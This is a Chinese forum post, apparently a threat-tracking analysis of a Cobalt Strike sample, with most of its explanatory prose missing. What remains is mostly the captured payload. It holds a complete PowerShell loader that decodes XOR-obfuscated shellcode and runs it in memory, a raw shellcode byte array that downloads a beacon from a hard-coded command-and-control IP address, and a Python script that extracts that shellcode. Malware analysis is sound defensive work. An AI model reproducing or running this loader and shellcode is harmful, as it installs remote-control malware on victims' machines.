其他
追踪活动中相遇CobaltStrike的故事
本文为看雪论坛精华文章
看雪论坛作者ID:jishuzhain
前言
样本分析
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckt7JyMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMF0tRbSMvDxgt+3Uc5je6j4pFeeU5IHAKT/ZKnhKW473uv4BBr+c4uUeb5yYuvZ0Yhl7ha4qT7yPMlCsXVqYN2i7FAusBdHgu4oNkTACXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjn1YtMP15O1/EN9s5TPHm+gWtpeJFZa3tucTb0Lwsk1r40iuY4U2+lg9boO90/jEFmrYQZOIi6WQMh2qHxORCxH6820xh11fE6qOMc9i6tx8c1FJ7qqJobQaoLaLF1R4FBpQJVVggzNRCVAv5V4Ho6EfJ0yTnuxYP0r0kq28STj4stFm6plMnV7cpA2Msa4URB5vjd5NgtE4C1Irs2kn4NAxds94pGXakLSGRWdIPGVeShiOZCyoXVQYx4MSgL0cpV1mrmToN4Cs7XmrjICNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhEQDRETFQ0SEhENERcjTIly4A==')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
//IntPtr.Size在64位为8,在32位为4 2 public static Boolean Is64Bit()
{
if (IntPtr.Size == 4)
return false;
else
return true;
}
import binascii
content = "252 232 137 0 0 0 96 137 229 49 210 100 139 82 48 139 82 12 139 82 20 139 114 40 15 183 74 38 49 255 49 192 172 60 97 124 2 44 32 193 207 13 1 199 226 240 82 87 139 82 16 139 66 60 1 208 139 64 120 133 192 116 74 1 208 80 139 72 24 139 88 32 1 211 227 60 73 139 52 139 1 214 49 255 49 192 172 193 207 13 1 199 56 224 117 244 3 125 248 59 125 36 117 226 88 139 88 36 1 211 102 139 12 75 139 88 28 1 211 139 4 139 1 208 137 68 36 36 91 91 97 89 90 81 255 224 88 95 90 139 18 235 134 93 104 110 101 116 0 104 119 105 110 105 84 104 76 119 38 7 255 213 49 255 87 87 87 87 87 104 58 86 121 167 255 213 233 132 0 0 0 91 49 201 81 81 106 3 81 81 104 88 4 0 0 83 80 104 87 137 159 198 255 213 235 112 91 49 210 82 104 0 2 64 132 82 82 82 83 82 80 104 235 85 46 59 255 213 137 198 131 195 80 49 255 87 87 106 255 83 86 104 45 6 24 123 255 213 133 192 15 132 195 1 0 0 49 255 133 246 116 4 137 249 235 9 104 170 197 226 93 255 213 137 193 104 69 33 94 49 255 213 49 255 87 106 7 81 86 80 104 183 87 224 11 255 213 191 0 47 0 0 57 199 116 183 49 255 233 145 1 0 0 233 201 1 0 0 232 139 255 255 255 47 52 104 114 78 0 12 44 59 14 216 86 63 197 20 153 172 169 102 90 198 26 3 83 41 108 213 105 189 49 181 192 158 205 156 163 98 140 196 27 154 100 184 196 5 13 158 190 59 165 125 194 72 169 176 204 0 239 183 8 52 117 133 46 249 13 230 33 200 34 87 91 13 193 160 71 111 35 180 0 85 115 101 114 45 65 103 101 110 116 58 32 77 111 122 105 108 108 97 47 52 46 48 32 40 99 111 109 112 97 116 105 98 108 101 59 32 77 83 73 69 32 56 46 48 59 32 87 105 110 100 111 119 115 32 78 84 32 53 46 49 59 32 84 114 105 100 101 110 116 47 52 46 48 59 32 46 78 69 84 32 67 76 82 32 50 46 48 46 53 48 55 50 55 41 13 10 0 188 117 14 19 222 90 24 124 231 20 248 26 111 210 197 217 38 142 134 193 102 70 142 206 154 231 248 243 159 15 176 121 219 241 8 187 194 110 157 181 44 120 131 204 87 221 18 38 185 149 51 71 193 1 202 71 47 164 73 164 231 199 97 231 93 159 248 111 66 244 116 231 201 128 175 80 251 153 148 60 63 247 113 88 137 129 75 78 37 139 14 129 230 246 61 38 37 183 42 118 123 3 239 247 97 119 40 218 116 162 203 203 100 234 240 7 196 152 53 44 241 158 7 136 76 49 109 29 15 151 122 153 133 112 4 116 148 10 32 64 15 72 166 50 36 184 192 84 176 67 151 109 33 247 169 207 249 106 219 23 47 126 144 253 10 58 85 135 14 2 178 122 241 44 58 116 177 165 0 186 40 9 52 118 37 18 195 231 131 12 100 10 116 122 136 186 25 46 195 8 24 125 73 192 3 0 104 240 181 162 86 255 213 106 64 104 0 16 0 0 104 0 0 64 0 87 104 88 164 83 229 255 213 147 185 0 0 0 0 1 217 81 83 137 231 87 104 0 32 0 0 83 86 104 18 150 137 226 255 213 133 192 116 198 139 7 1 195 133 192 117 229 88 195 232 169 253 255 255 49 50 51 46 50 48 54 46 49 49 50 46 50 52 0 111 170 81 195"
hex_arrays = content.split(' ')
# hex_bytes = bytes.fromhex(content)
print(hex_arrays)
pe_list = []
# int_arrs = list(map(int, hex_arrays))
for hex_array in range(len(hex_arrays)):
int_array = '0x%02x' % (int(hex_arrays[hex_array], 10))
pe_list.append(int_array)
pe_str = "".join(pe_list).replace("0x", "")
content = binascii.a2b_hex(pe_str)
with open("ps_shellcode", 'wb') as pe_file:
pe_file.write(content)
溯源追踪
威胁情报
HASH
URL
看雪ID:jishuzhain
https://bbs.pediy.com/user-678001.htm
*本文由看雪论坛 jishuzhain 原创。
推荐文章++++
球分享
球点赞
球在看